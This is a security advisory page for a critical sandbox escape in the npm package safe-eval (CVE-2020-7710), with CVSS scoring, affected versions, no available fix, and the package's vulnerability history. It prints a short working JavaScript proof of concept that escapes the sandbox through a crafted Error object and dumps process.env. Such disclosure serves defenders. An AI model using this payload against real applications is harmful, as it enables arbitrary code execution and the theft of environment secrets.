Critical

Sandbox Breakout / Arbitrary Code Execution in safe-eval

  • Disclosed: 25.08.2020
  • Updated: 11.10.2026 10:22

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

js
(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package safe-eval <= 0.4.1 no fix

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
npm
Package
safe-eval
Disclosed
25.08.2020
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-hrpq-r399-whgw - CC BY 4.0

Vulnerability history: safe-eval

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
07.2018 04.2023
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 1

Disclosures per year

  1. 2018: 1
  2. 2019: 0
  3. 2020: 2
  4. 2021: 0
  5. 2022: 1
  6. 2023: 2
  7. 2024: 0
  8. 2025: 0
  9. 2026: 0
  1. Critical · 10.0 CVE-2023-26122 <= 0.4.2 no fix
  2. Critical · 10.0 CVE-2023-26121 <= 0.4.2 no fix
  3. Critical · 9.8 CVE-2022-25904 <= 0.4.1 no fix
  4. High ghsa-9pcf-h8q9-63f6 >= 0.0.0 no fix
  5. Sandbox Breakout / Arbitrary Code Execution in safe-eval this entry
    Critical · 9.8 CVE-2020-7710 <= 0.4.1 no fix
  6. Critical · 10.0 CVE-2017-16088 <= 0.3.0 no fix

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